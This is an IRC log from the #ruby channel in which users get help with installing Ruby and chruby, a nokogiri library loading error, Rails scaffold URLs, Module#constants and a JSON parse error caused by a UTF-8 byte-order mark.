dkamioka_ is now known as dkamioka
bean has joined #ruby
Astral_ has joined #ruby
Astralum has quit [Read error: Connection reset by peer]
heidi has joined #ruby
brtdv has joined #ruby
D4T has quit [Quit: Textual IRC Client: www.textualapp.com]
<coca_rails> Real question here: I'm new to irc so pardon the stupid question. I keep getting this message when trying to send a msg. Can someone help me out? :13:19 <freenode> Error(404): #ruby-lang Cannot send to channel
whunt has joined #ruby
tsykoduk is now known as zz_tsykoduk
Kamuela has joined #ruby
`Chris` has joined #ruby
Clooth has joined #ruby
<canton7> they have a form of spam protection enabled. register your nickname with nickserv and identify
Eiam has quit [Quit: ╯°□°)╯︵ǝpouǝǝɹɟ]
`Chris`_ has quit [Ping timeout: 245 seconds]
devoldmx has quit [Read error: No route to host]
devoldmx has joined #ruby
dEPy has joined #ruby
sepp2k has joined #ruby
<coca_rails> Thank you canton7
robbyoconnor has quit [Max SendQ exceeded]
<coca_rails> Canton, random question..
robbyoconnor has joined #ruby
<coca_rails> How do I properly address someone specifically in irc
petey_ has quit [Remote host closed the connection]
petey_ has joined #ruby
TMM has quit [Quit: Ex-Chat]
falood has joined #ruby
<coca_rails> like @+canton7? or :+canton7 (less the + signs)
<_br_> here is a good faq around for freenode http://freenode.net/faq.shtml
<canton7> coca_rails, just as 'canton7'
<_br_> characters like @, + etc have a special meaning
<canton7> also your client should tab-complete nicks
devoldmx has quit [Read error: Connection reset by peer]
pedda has quit [Quit: Textual IRC Client: www.textualapp.com]
Eiam has joined #ruby
<coca_rails> im using limechat
devoldmx has joined #ruby
chihhsin has quit [Ping timeout: 246 seconds]
lmickh has quit [Quit: lmickh]
Tuxist has joined #ruby
sputnik13 has quit [Quit: My Mac Mini has gone to sleep. ZZZzzz…]
<jkamenik> coca_rails: yep, just start typing part of the nic and hit tab
<coca_rails> Ohh youre right
<coca_rails> thanks!
coderhs has quit [Ping timeout: 256 seconds]
reset has joined #ruby
ybart has quit [Quit: ybart]
ni291187 has joined #ruby
OdNairy has joined #ruby
jezen has joined #ruby
jrhe has quit [Ping timeout: 272 seconds]
jonr22 has joined #ruby
OdNairy has quit [Client Quit]
falood has quit [Ping timeout: 240 seconds]
sambao21 has quit [Quit: Computer has gone to sleep.]
petey_ has quit [Ping timeout: 272 seconds]
reset has quit [Read error: Connection reset by peer]
Mon_Ouie has joined #ruby
reset has joined #ruby
<_br_> Funny theoretical question. In a git repository if you wanted to hide a password in plain sight, how would you do it?
tylersmith has joined #ruby
<aedorn> make it a sentence
<_br_> classical approach, makes sense.
mikecmpbll has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
ghr has quit [Quit: Computer has gone to sleep.]
ybart has joined #ruby
sambao21 has joined #ruby
tylersmith has quit [Remote host closed the connection]
jrhe has joined #ruby
lmickh has joined #ruby
endash has quit [Quit: endash]
endash_ is now known as endash
endash_ has joined #ruby
boxmein has joined #ruby
boxmein has quit [Max SendQ exceeded]
OdNairy has joined #ruby
boxmein has joined #ruby
boxmein has quit [Max SendQ exceeded]
michael_mbp is now known as zz_michael_mbp
boxmein has joined #ruby
boxmein has quit [Max SendQ exceeded]
aspires has quit [Quit: sudo making a sandwich]
boxmein has joined #ruby
jonr22 has quit [Ping timeout: 272 seconds]
`Chris`_ has joined #ruby
codeFiend has joined #ruby
boxmein has quit [Max SendQ exceeded]
tylersmith has joined #ruby
brennanMKE has joined #ruby
MrZYX|off is now known as MrZYX
boxmein has joined #ruby
failshell has joined #ruby
aspires has joined #ruby
arietis has joined #ruby
`Chris` has quit [Ping timeout: 256 seconds]
brennanM_ has joined #ruby
devoldmx has quit [Read error: Connection reset by peer]
devoldmx has joined #ruby
lukec has joined #ruby
<Kamuela> i'm having trouble installing ruby 2 on ubuntu. in fact, i can't seem to get rid of the old ruby at all
ananthakumaran has quit [Quit: Leaving.]
brennanMKE has quit [Ping timeout: 240 seconds]
hjvbe8hgqt4kjh98 has joined #ruby
hjvbe8hgqt4kjh98 has quit [Excess Flood]
<_br_> Kamuela: did you try to remove everything from apt installed on the system and go with rvm or rbenv ?
Notte has joined #ruby
hjvbe8hgqt4kjh98 has joined #ruby
hjvbe8hgqt4kjh98 has quit [Excess Flood]
burlyscudd has joined #ruby
hjvbe8hgqt4kjh98 has joined #ruby
<havenwood> Kamuela: You can select which apt Ruby you want to use with `update_alternatives`.
DrShoggoth has quit [Read error: Connection reset by peer]
hjvbe8hgqt4kjh98 has quit [Excess Flood]
hjvbe8hgqt4kjh98 has joined #ruby
hjvbe8hgqt4kjh98 has quit [Excess Flood]
brennanM_ has quit [Ping timeout: 272 seconds]
hjvbe8hgqt4kjh98 has joined #ruby
zz_tsykoduk is now known as tsykoduk
<havenwood> Kamuela: I like to install Ruby with ruby-install or build it myself then use chruby to select the current Ruby.
lsmola_ has joined #ruby
hjvbe8hgqt4kjh98 has quit [Excess Flood]
navyant24 has joined #ruby
ewnd9 has quit [Ping timeout: 240 seconds]
hjvbe8hgqt4kjh98 has joined #ruby
<havenwood> Kamuela: But yeah, `update-alternatives` i mean if you just wanna select which apt.**
burlyscudd has quit [Client Quit]
nucatus has joined #ruby
devoldmx has quit [Read error: Connection reset by peer]
stunthamster has quit [Ping timeout: 245 seconds]
hjvbe8hgqt4kjh98 has quit [Excess Flood]
devoldmx has joined #ruby
aganov has quit [Quit: aganov]
hjvbe8hgqt4kjh98 has joined #ruby
<Kamuela> right now, when i type ruby, i just get something that kinda hangs
a1ph4g33k has joined #ruby
hjvbe8hgqt4kjh98 has quit [Excess Flood]
nowthatsamatt has joined #ruby
<havenwood> Kamuela: What is?: command -v ruby
<Kamuela> when i type ruby --version, i get 1.9.3-p0
hjvbe8hgqt4kjh98 has joined #ruby
hjvbe8hgqt4kjh98 has left #ruby [#ruby]
<a1ph4g33k> g'morning all.
Creeture has left #ruby [#ruby]
<havenwood> a1ph4g33k: g'morn
petey_ has joined #ruby
<Kamuela> havenwood: /usr/local/bin/ruby
<havenwood> Kamuela: so you're using the apt ruby1.9.1 package.
burlyscudd has joined #ruby
wak3r has quit [Read error: Connection reset by peer]
<havenwood> Kamuela: You wanna install Ruby 2.0.0-p247?
Stygia has quit [Remote host closed the connection]
zigomir has quit [Quit: zigomir]
<Kamuela> havenwood: I'm beginning Rails development. I'd prefer to do whatever necessary to maintain little virtual environments like how django/python used virtualenv. I'll install Ruby2 systemwide as well
coderhs has joined #ruby
xk_id has quit [Quit:
BizarreCake has joined #ruby
nucatus has quit [Ping timeout: 246 seconds]
nowthatsamatt has quit [Client Quit]
interactionjaxsn has quit [Remote host closed the connection]
<havenwood> Kamuela: So you get to choose between chruby/ruby-install, rvm or rbenv/ruby-build. I'd recommend chruby. :)
<andrewvos> chruby/chruby/chruby
interactionjaxsn has joined #ruby
samfisher has joined #ruby
samfisher has joined #ruby
samfisher has quit [Changing host]
krawchyk_ has quit [Remote host closed the connection]
Spami has joined #ruby
bozon has joined #ruby
capicue has joined #ruby
krawchyk has joined #ruby
ybart has quit [Quit: ybart]
MrPoT4tO has quit [Read error: Connection reset by peer]
mrpot4to_ has quit [Read error: Connection reset by peer]
nisstyre has joined #ruby
<Kamuela> by uninstalling ruby1.9 with apt-get purge, ruby --version now says 2.0.0p247 :)
ni291187 has quit [Ping timeout: 272 seconds]
<havenwood> Kamuela: With chruby installed and sourced in your dotfiles, any Rubies you install to ~/.rubies/ or /opt/rubies/ get auto-detected and you can switch between them and system Ruby like `chruby jruby` or `chruby system` or `chruby ruby-2.0`.
MrPoT4tO has joined #ruby
<bozon> exit
bozon has quit [Client Quit]
lorundrik has quit [Ping timeout: 245 seconds]
<havenwood> Kamuela: Now what is your? command -v ruby
<havenwood> Kamuela: Just curious?
<havenwood> Kamuela: How'd you install it?
randomnick_ has joined #ruby
lmickh has quit [Quit: lmickh]
<Kamuela> havenwood: /usr/local/bin/ruby, i installed it from wget souce tarball
<Kamuela> source not sauce
<havenwood> hehe
dEPy has quit [Quit: Computer has gone to sleep.]
wallerdev has joined #ruby
dEPy has joined #ruby
interactionjaxsn has quit [Ping timeout: 240 seconds]
mrpot4to_ has joined #ruby
<havenwood> Kamuela: Might wanna double check that RubyGems is working by updating to latest: gem update --system
chriskk has joined #ruby
hd1 has joined #ruby
brennanMKE has joined #ruby
chriskk has quit [Client Quit]
mmcdaris has quit [Quit: mmcdaris]
<havenwood> Kamuela: (Ship with Ruby but good to keep RubyGems up to date for security and bug fixes, etc.)
<havenwood> Kamuela: If you have issues, can always install chruby and point it at where you build Ruby, will set all the env vars correctly.
<Kamuela> havenwood: ah, that required root the gem update
hd1 has left #ruby [#ruby]
<havenwood> Kamuela: Yeah, all `gem update` and `gem install` will require `sudo` with Ruby installed system wide.
<Kamuela> havenwood: simply because i want the virtual environment, i'm going to be using chruby by your recommendation. that's immediately next on the todo list
aspires has quit [Quit: sudo making a sandwich]
Marco__ has joined #ruby
Marco__ has left #ruby [#ruby]
brtdv has quit []
tonni has quit [Remote host closed the connection]
<havenwood> Kamuela: I install Ruby to ~/.rubies/ locally, but on a single user system and i just don't like to sudo before my gem stuffs. :P
interactionjaxsn has joined #ruby
nfk has quit [Ping timeout: 248 seconds]
<Kamuela> havenwood: how should I install the chruby/ruby-install stack?
brtdv has joined #ruby
nucatus has joined #ruby
dEPy has quit [Ping timeout: 245 seconds]
tylersmith has quit [Read error: Connection reset by peer]
tylersmith has joined #ruby
brennanMKE has quit [Ping timeout: 245 seconds]
mmitchell has joined #ruby
mmcdaris has joined #ruby
<havenwood> Kamuela: Just follow readme install instructions. No formal apt package yet, though chruby has one in the works.
devoldmx has quit [Read error: No route to host]
bricker_ has joined #ruby
<Kamuela> havenwood: investigating readme now
devoldmx has joined #ruby
lfox has joined #ruby
johnnyfuchs has joined #ruby
bricker has quit [Ping timeout: 240 seconds]
shaunbaker has quit [Remote host closed the connection]
shaunbaker has joined #ruby
amacgregor__ has quit [Ping timeout: 245 seconds]
mmitchell has quit [Read error: Connection reset by peer]
bricker_ is now known as bricker
mmitchell has joined #ruby
c0rn has joined #ruby
theoretick has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
saarinen has joined #ruby
sayan has quit [Ping timeout: 256 seconds]
blaxter_ has joined #ruby
niklasb has quit [Read error: Operation timed out]
mmitchel_ has joined #ruby
jezen has quit [Remote host closed the connection]
devoldmx has quit [Read error: Connection reset by peer]
coca_rails has quit [Remote host closed the connection]
devoldmx has joined #ruby
pragmatism has joined #ruby
workmad3 has quit [Read error: Operation timed out]
coca_rails has joined #ruby
theRoUS is now known as theRoUS|afk
mrsolo has quit [Quit: This computer has gone to sleep]
Metal-01 has quit [Quit: Leaving]
niklasb has joined #ruby
shaunbaker has quit [Ping timeout: 272 seconds]
heath has quit [Quit: No Ping reply in 180 seconds.]
mmitchell has quit [Ping timeout: 246 seconds]
heath has joined #ruby
Zai00 has quit [Quit: Zai00]
mmitchel_ has quit [Remote host closed the connection]
randomnick_ has quit [Read error: Connection reset by peer]
mmitchell has joined #ruby
tvw has quit []
mmitchell has quit [Remote host closed the connection]
randomnick_ has joined #ruby
devoldmx has quit [Read error: Connection reset by peer]
mmitchell has joined #ruby
devoldmx has joined #ruby
coca_rails has quit [Ping timeout: 272 seconds]
<Kamuela> havenwood: how do i check that chruby just installed?
carraroj has joined #ruby
jlebrech has quit [Quit: Konversation terminated!]
pedda has joined #ruby
intuxicated has joined #ruby
pedda has quit [Max SendQ exceeded]
troessner has quit [Quit: Leaving]
kvirani has joined #ruby
iamjarvo has quit [Ping timeout: 256 seconds]
pedda has joined #ruby
<Kamuela> havenwood: i think i got it, i had to activate its shell first
includex has quit [Quit: Textual IRC Client: www.textualapp.com]
hiyosi has joined #ruby
jrhe has quit [Quit: jrhe]
devoldmx has quit [Read error: Connection reset by peer]
devoldmx has joined #ruby
lmickh has joined #ruby
<Kamuela> i'll brb
Clooth has quit [Quit: Leaving...]
matchaw_ has joined #ruby
geekbri has quit [Remote host closed the connection]
troessner has joined #ruby
ephemerian has quit [Quit: Leaving.]
coca_rails has joined #ruby
hiyosi has quit [Ping timeout: 240 seconds]
Czupa has joined #ruby
Kamuela has quit [Quit: Leaving]
matchaw has quit [Ping timeout: 256 seconds]
devoldmx has quit [Read error: Connection reset by peer]
g3orge has joined #ruby
devoldmx has joined #ruby
<g3orge> hi, I install nokogiri with gem install and after successful installation I can't require the module.
geekbri_ has joined #ruby
<g3orge> I get: libexslt.so.0: cannot open shared object file: No such file or directory - /home/g3orge/.gem/ruby/2.0.0/gems/nokogiri-1.6.0/lib/nokogiri/nokogiri.so (LoadError)
brtdv has quit []
drumusician has quit [Ping timeout: 240 seconds]
<g3orge> the file exists though
noop has quit [Ping timeout: 240 seconds]
randomnick_ has quit [Read error: Connection reset by peer]
tharindu has joined #ruby
Al_ has quit [Quit: Al_]
jamblack has quit [Ping timeout: 246 seconds]
randomnick_ has joined #ruby
dkamioka has quit [Remote host closed the connection]
brennanMKE has joined #ruby
ericmathison has quit [Quit: leaving]
Kamuela has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
<Kamuela> I'm fairly certain that I've installed chruby correctly.
aspires has joined #ruby
<jwest> g3orge: When you say the file exists, to which file are you referring?
chinychinchin has joined #ruby
<havenwood> Sry for disappearing, on phone.. Kamuela: Yup, just type `chruby` to check. After initial install you have to either source the dotfile line or restart your shell.
devoldmx has quit [Read error: Connection reset by peer]
jibi has joined #ruby
mikepack has quit [Remote host closed the connection]
devoldmx has joined #ruby
randomnick_ has joined #ruby
<Kamuela> havenwood: No problem, I was abusing your helpfulness anyway :P. I really appreciate your helping me out though
frem has joined #ruby
shawnjgoff has joined #ruby
<shawnjgoff> When I'm using a module like an Enum (see http://gistflow.com/posts/682-ruby-enums-approaches "Reusable Module Enum"), is there a way to find if a value is included in an Enum?
<shawnjgoff> Or is there a way to list all the values?
devoldmx has quit [Read error: Connection reset by peer]
DrShoggoth has joined #ruby
adambeynon has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
devoldmx has joined #ruby
<canton7> which one?
rickmasta has joined #ruby
<apeiros> shawnjgoff: errr, seriously? I'm not going to search that whole page for the enum you mean…
kaspergrubbe has joined #ruby
<shawnjgoff> It's Right at the one labeled "Reusable Module Enum"
<shawnjgoff> It's just a module with constants.
<apeiros> constants can be listed using the .constants method
<apeiros> see Module#constants
<_br_> ah apeiros is too fast for me, wanted to type that just now :)
<shawnjgoff> Thanks.
jamblack has joined #ruby
<canton7> there's also Module#const_get, which you can pass a symbol from #constants
Clooth has joined #ruby
EddSeabrook has quit [Read error: Operation timed out]
devoldmx has quit [Read error: Connection reset by peer]
bklane_ has quit [Read error: Connection reset by peer]
devoldmx has joined #ruby
bklane has joined #ruby
burlyscudd has quit [Quit: Leaving.]
bean has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
pothibo has joined #ruby
dEPy has joined #ruby
kirun has joined #ruby
salientknight has joined #ruby
theRoUS|afk is now known as theRoUS
<salientknight> hey all
tjbarber has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<shawnjgoff> Tester.constants.map { |k| Tester.const_get k }
bahar has joined #ruby
carlyle has joined #ruby
<shawnjgoff> Thanks, folks! I got this: Tester.constants.map { |k| Tester.const_get k }
jbpros has quit [Quit: jbpros]
geekbri_ has quit [Remote host closed the connection]
randomnick_ has quit [Read error: Connection reset by peer]
jprovazn has quit [Quit: Odcházím]
heidi has left #ruby [#ruby]
<salientknight> does anyonw know why a newly created scaffold would throw the error ActiveRecord::RecordNotFound for the index page and Couldn't find Album with id=index
nfk has joined #ruby
vlad_starkov has joined #ruby
<salientknight> all of the previous scaffolds I have made had worked and now they don't
devoldmx has quit [Read error: Connection reset by peer]
randomnick_ has joined #ruby
<apeiros> salientknight: because you opened the wrong url
<apeiros> salientknight: also #rubyonrails
devoldmx has joined #ruby
<salientknight> thanks apeiros
<apeiros> wrong url: sounds like you added /index at the end. don't.
vlad_starkov has quit [Remote host closed the connection]
<apeiros> if you scaffold foo, then it's http://example.com/foos/, not http://example.com/foos/index
<salientknight> great that worked thanks :)
<salientknight> I have had to add index in the past... I wonder why that changed
MrPoT4tO has quit [Remote host closed the connection]
mrpot4to_ has quit [Read error: Connection reset by peer]
<salientknight> anyway thanks you saved me here... I didn't want to write out all the code just for a demo
<apeiros> no, you didn't have to add index in the past
<salientknight> apeiros++
<apeiros> that hasn't been a thing the last 5 years…
<apeiros> and I'm pretty sure it wasn't a thing even back in rails 1
heftig has quit [Quit: Quitting]
codeFiend has quit [Quit: codeFiend]
<salientknight> right... I was confusing it with the controllers I created with an index page...
<salientknight> thanks again
pyrac has quit [Quit: pyrac]
c0rn has quit [Quit: Computer has gone to sleep.]
maveonair has joined #ruby
DanBoy has joined #ruby
rezzack has joined #ruby
ace_striker has joined #ruby
chinychinchin has quit [Read error: Connection reset by peer]
chinychinchin has joined #ruby
burlyscudd has joined #ruby
pencilcheck has quit [Remote host closed the connection]
mlpinit_ has quit [Remote host closed the connection]
hd1 has joined #ruby
<hd1> where do I get validation.pem from for use with chef?
<hd1> can it be self-signed?
tonni has joined #ruby
norm has joined #ruby
burlyscudd has quit [Client Quit]
<g3orge> jwest: the one the error is asking for
arietis has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
c4rdux has joined #ruby
carraroj has quit [Ping timeout: 264 seconds]
lkba has quit [Read error: Connection reset by peer]
burlyscudd has joined #ruby
devoldmx has quit [Read error: Connection reset by peer]
lkba has joined #ruby
devoldmx has joined #ruby
pragmatism has quit [Quit: Leaving...]
mlpinit has joined #ruby
chinychinchin has quit [Ping timeout: 256 seconds]
pyrac has joined #ruby
niklasb has quit [Ping timeout: 245 seconds]
<jwest> g3orge: That error references two different files, not just one. libexslt.so.0 exists, though?
pragmatism has joined #ruby
dEPy has quit [Quit: Computer has gone to sleep.]
<norm> this may not be a pure ruby question, but i'm installing the sigar gem on my mac and getting a strange "framework not found CoreServices" error
<norm> full error at http://pastie.org/8443514
<norm> any ideas?
dEPy has joined #ruby
randomnick_ has quit [Read error: Connection reset by peer]
randomnick_ has joined #ruby
dEPy has quit [Read error: Connection reset by peer]
Roa has quit [Ping timeout: 260 seconds]
dEPy has joined #ruby
yfeldblum has quit [Ping timeout: 248 seconds]
<g3orge> jwest: I meant the one with the absolute file. the .so
gchristensen has joined #ruby
ocfx_ has joined #ruby
obs has quit [Quit: ChatZilla 0.9.87 [Iceape 2.7.12/20130119095535]]
<gchristensen> hi, is it really the standard and best practice to have no blank lines at the end of a file? that is counter to what I've always done, and robucop is complaining about it :)
<jwest> g3orge: nokogiri.so is trying to load libexslt.so.0 and can't find it. You need to install that library.
Roa has joined #ruby
<g3orge> oh okay, where from?
hd1 has left #ruby [#ruby]
tatsuya_o has quit [Remote host closed the connection]
maveonair has quit [Ping timeout: 240 seconds]
tatsuya_o has joined #ruby
theoretick has joined #ruby
ocfx_work has quit [Ping timeout: 264 seconds]
<jwest> g3orge: If you're on a Debian/Ubuntu system you can probably find a libxslt1.1 package or something similar which will have the library in it.
<Hanmac> jwest & g3orge what nokogiri version? the newest one does include the libs itself
devoldmx has quit [Read error: Connection reset by peer]
burlyscudd1 has joined #ruby
devoldmx has joined #ruby
pu22l3r_ has joined #ruby
<jwest> g3orge: And I'll defer to Hanmac who is more familiar with nokogiri than I am, obviously. :)
burlyscudd has quit [Read error: Connection reset by peer]
dEPy has quit [Quit: Computer has gone to sleep.]
<Hanmac> there was a big change in the newest 1.6 version ... the 1.5 and prev does depend on the dev packages, 1.6 does ship the libs itself so you not need the dev packs anymore
tatsuya_o has quit [Read error: Operation timed out]
sambao21 has quit [Quit: Computer has gone to sleep.]
dEPy has joined #ruby
<g3orge> Hanmac: I 'gem install nokogiri' and returned sucessfully
jrhe has joined #ruby
<Hanmac> then you may have the 1.6 version
achru has quit [Remote host closed the connection]
<g3orge> probably. I still get an error though
nfk has quit [Quit: yawn]
vlad_starkov has joined #ruby
achru has joined #ruby
<Hanmac> hm what does "gem list" shows you what nokogiri version you have?
yfeldblum has joined #ruby
mmitchel_ has joined #ruby
nateberkopec has quit [Quit: Leaving...]
<g3orge> nokogiri (1.6.0)
mikepack has joined #ruby
vlad_starkov has quit [Read error: Connection reset by peer]
vlad_sta_ has joined #ruby
sambao21 has joined #ruby
ocfx_work has joined #ruby
pu22l3r has quit [Ping timeout: 268 seconds]
bean has joined #ruby
skaflem has quit [Quit: Leaving]
pyrac has quit [Quit: pyrac]
RichardBaker has quit [Quit: RichardBaker]
alvaro_o has joined #ruby
pu22l3r_ has quit [Ping timeout: 268 seconds]
mikepack has quit [Remote host closed the connection]
pu22l3r has joined #ruby
snardbafu|ator has joined #ruby
mmitchel_ has quit [Remote host closed the connection]
mikepack has joined #ruby
emdub has joined #ruby
mmitchel_ has joined #ruby
dEPy has quit [Ping timeout: 264 seconds]
mmitchell has quit [Ping timeout: 264 seconds]
<g3orge> what next?
bklane has quit [Read error: Connection reset by peer]
pwh has quit [Ping timeout: 272 seconds]
bklane has joined #ruby
coca_rails has quit [Remote host closed the connection]
achru has quit [Ping timeout: 272 seconds]
ocfx_ has quit [Ping timeout: 272 seconds]
poikon has quit []
coca_rails has joined #ruby
pwh has joined #ruby
pu22l3r has quit [Remote host closed the connection]
randomnick_ has quit [Read error: Connection reset by peer]
<Hanmac> g3orge: hm do "gem contents nokogiri | grep nokogiri.so" that should show you the path, then do something like " ldd /usr/local/lib/ruby/gems/2.1.0/gems/nokogiri-1.6.0/ext/nokogiri/nokogiri.so"
blackmesa has joined #ruby
BlakeRG has joined #ruby
snardbafu|ator has quit [K-Lined]
devoldmx has quit [Read error: Connection reset by peer]
yfeldblum has quit [Remote host closed the connection]
pu22l3r has joined #ruby
devoldmx has joined #ruby
mmitchel_ has quit [Ping timeout: 240 seconds]
pyrac has joined #ruby
randomnick_ has joined #ruby
c4rdux has left #ruby [#ruby]
navyant24 has quit [Quit: navyant24]
<g3orge> yeah. not found. http://sprunge.us/fdjY
dEPy has joined #ruby
aspires has quit [Quit: sudo making a sandwich]
coca_rails has quit [Ping timeout: 272 seconds]
<Hanmac> gasp it looks like its not currect installed ... i get something like /usr/local/lib/ruby/gems/2.1.0/gems/nokogiri-1.6.0/ports/libxslt/1.1.26/lib/libexslt.so.0
mrsolo has joined #ruby
hiyosi has joined #ruby
Aryasam has quit [Ping timeout: 240 seconds]
<g3orge> my path had "2.0.0" and that's my rb version. not 2.1.0 as yours. does that matter?
devoldmx3 has joined #ruby
nfk has joined #ruby
tharindu has quit [Quit: Leaving...]
aspires has joined #ruby
Aryasam has joined #ruby
heidi has joined #ruby
dEPy has quit [Client Quit]
<Hanmac> hm no it should not (i have 2.1 because i am crazy)
dEPy has joined #ruby
<g3orge> I installed it (libxslt) with pacman and now it says: WARNING: Nokogiri was built against LibXML version 2.8.0, but has dynamically loaded 2.9.1
<g3orge> but I think it's working
kaspergrubbe has quit [Remote host closed the connection]
yoniPacheko has joined #ruby
kaspergrubbe has joined #ruby
devoldmx has quit [Ping timeout: 240 seconds]
<Hanmac> hm that is currious ... it seems that nokogiri was build against system libs and not the other ...
<Hanmac> hm try to remove nokogiri gem and install it again (maybe that helps)
devoldmx3 has quit [Read error: Connection reset by peer]
theoretick has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
DrShoggoth has quit [Ping timeout: 240 seconds]
devoldmx has joined #ruby
jonr22 has joined #ruby
rrichardsr3 has quit [Quit: -- I'm getting very tired --]
hiyosi has quit [Ping timeout: 272 seconds]
RichardBaker has joined #ruby
<g3orge> I don't know why the libs were not packaged within
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
Volsus has joined #ruby
<g3orge> Hanmac: gem remove ?
dEPy has quit [Ping timeout: 264 seconds]
salientknight has quit [Remote host closed the connection]
<Hanmac> "uninstall" removes gems
kaspergrubbe has quit [Ping timeout: 272 seconds]
nkts has joined #ruby
mengu has joined #ruby
nkts has quit [Max SendQ exceeded]
Speed has joined #ruby
jonr22 has quit [Ping timeout: 240 seconds]
nkts has joined #ruby
devoldmx has quit [Read error: Connection reset by peer]
Speed is now known as Guest12099
randomnick_ has quit [Read error: Connection reset by peer]
nkts has quit [Max SendQ exceeded]
devoldmx has joined #ruby
jarm has joined #ruby
Aryasam has quit [Ping timeout: 246 seconds]
nisstyre has quit [Quit: Leaving]
nkts has joined #ruby
randomnick_ has joined #ruby
nkts has quit [Max SendQ exceeded]
kaspergrubbe has joined #ruby
<Kamuela> I'm confused about ExecJS. How do I use it to select my JavaScript runtime for my rails project?
relix has joined #ruby
Aryasam has joined #ruby
Guest12099 has quit [Changing host]
Guest12099 has joined #ruby
ghr has joined #ruby
nkts has joined #ruby
nkts has quit [Max SendQ exceeded]
<Hanmac> Kamuela: #rubyonrails
nkts has joined #ruby
<g3orge> Hanmac: did it. it still reports the same
nkts has quit [Max SendQ exceeded]
<Kamuela> thanks Hanmac
nkts has joined #ruby
nkts has quit [Max SendQ exceeded]
nkts has joined #ruby
Guest12099 is now known as Speed
devoldmx has quit [Read error: Connection reset by peer]
devoldmx has joined #ruby
tjbarber has joined #ruby
blaxter_ has quit [Quit: foo]
kevinykchan has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
EddSeabrook has joined #ruby
maveonair has joined #ruby
kevinykchan has joined #ruby
flayer has quit []
Mattx has joined #ruby
<Mattx> Hello
<Mattx> is it possible to create a variable for a module?
BizarreCake has quit [Ping timeout: 245 seconds]
sambao21 has quit [Quit: Computer has gone to sleep.]
zz_jrhorn424 is now known as jrhorn424
<Mattx> I need something global actually, so that when objects are instantiated I save one of the params
<Mattx> (in this variable, which is an array)
soheil has quit [Remote host closed the connection]
yoniPacheko has quit [Remote host closed the connection]
ravster has joined #ruby
<Mattx> the problem is that the objects are all instantiated from different classes
lmickh has quit [Quit: lmickh]
dEPy has joined #ruby
carraroj has joined #ruby
pu22l3r has quit [Read error: Connection reset by peer]
BlakeRG has quit [Ping timeout: 246 seconds]
nism-pi has joined #ruby
jkline has joined #ruby
pu22l3r has joined #ruby
gchristensen has left #ruby ["WeeChat 0.4.0"]
soheil has joined #ruby
<apeiros> Mattx: not sure what exactly you mean
rdnsget has joined #ruby
rdnsget has left #ruby [#ruby]
<apeiros> but this is valid: `x = SomeModule`
<apeiros> works with classes too
devoldmx3 has joined #ruby
<apeiros> >> foo = Array.new; foo.new(3, 'hi')
<eval-in> apeiros => undefined method `new' for []:Array (NoMethodError) ... (https://eval.in/58889)
<apeiros> whoops
<apeiros> >> foo = Array; foo.new(3, 'hi')
<eval-in> apeiros => ["hi", "hi", "hi"] (https://eval.in/58890)
newUser1234 has joined #ruby
elux has quit [Quit: Bye!]
devoldmx has quit [Ping timeout: 248 seconds]
Nisstyre-laptop has joined #ruby
carraroj has quit [Client Quit]
burlyscudd has joined #ruby
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
Czupa has quit [Quit: Wychodzi]
newUser1234 has quit [Read error: Connection reset by peer]
randomnick_ has quit [Read error: Connection reset by peer]
jgoss has joined #ruby
burlyscudd1 has quit [Read error: Connection reset by peer]
leowicht has joined #ruby
jarm has quit [Ping timeout: 240 seconds]
Nisstyre-laptop is now known as nisstyre
pkrnj has quit [Quit: Computer has gone to sleep.]
decoponio has quit [Quit: Leaving...]
jgoss has quit [Changing host]
jgoss has joined #ruby
randomnick_ has joined #ruby
leowicht has left #ruby [#ruby]
kevinykchan has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
newUser1234 has joined #ruby
whunt has quit [Quit: Computer has gone to sleep.]
sambao21 has joined #ruby
kevinykchan has joined #ruby
bassclef has joined #ruby
yfeldblum has joined #ruby
bassclef is now known as Guest45769
rippa has quit [Quit: {#`%${%&`+'${`%&NO CARRIER]
nomenkun has joined #ruby
relix has joined #ruby
dEPy has quit [Quit: Computer has gone to sleep.]
<weeb1e> Good day everyone
dEPy has joined #ruby
<weeb1e> I have yet another encoding issue, which came out of no where, with no changes to the third party server or my client
<weeb1e> I am using JSON.parse(http.response.force_encoding('utf-8')) and getting Exception: 756: unexpected token at '{ "
burlyscudd has quit [Ping timeout: 248 seconds]
<weeb1e> Those 3 leading chars are part of UTF-8 as far as I understand, so I really have no idea why the exception would be thrown. Does anyone have any ideas?
dEPy has quit [Read error: Connection reset by peer]
benwoody has quit [Quit: benwoody]
dEPy has joined #ruby
<MrZYX> >> require'json'; JSON.parse("{}")
<eval-in> MrZYX => (https://eval.in/58892)
<MrZYX> mmh
troessner has quit [Quit: Leaving]
<MrZYX> eval-in is broken
<MrZYX> anyway, those characters at that place aren't valid json, so you get a parser error
<weeb1e> MrZYX: I googled those chars and from what I can tell they are part of UTF-8 encoding
<weeb1e> So they should be valid
DrShoggoth has joined #ruby
<MrZYX> valid UTF-8 yes
kaspergrubbe has quit [Remote host closed the connection]
randomnick_ has quit [Read error: Connection reset by peer]
<MrZYX> valid JSON at that place? no
<weeb1e> A .Net applications JSON encoder using UTF-8 by default and encodes JSON with those leading chars
<fbernier> Can I call respon_to? and exclude inherited methods ?
<weeb1e> MrZYX: They are a UTF-8 header
<fbernier> respond_to? *
<weeb1e> So they should be valide there
<weeb1e> Surely?
kaspergrubbe has joined #ruby
newUser1234 has quit [Read error: Connection reset by peer]
mmitchell has joined #ruby
zipper has joined #ruby
heidi has quit [Quit: Leaving.]
newUser1_ has joined #ruby
mmitchell has quit [Remote host closed the connection]
robustus has quit [Ping timeout: 245 seconds]
<MrZYX> fbernier: http://rubydoc.info/stdlib/core/Object#respond_to%3F-instance_method
randomnick_ has joined #ruby
relix has quit [Quit: Textual IRC Client: www.textualapp.com]
Underbyte has joined #ruby
dEPy has quit [Quit: Computer has gone to sleep.]
randomnick_ has quit [Read error: Connection reset by peer]
jarm has joined #ruby
robustus has joined #ruby
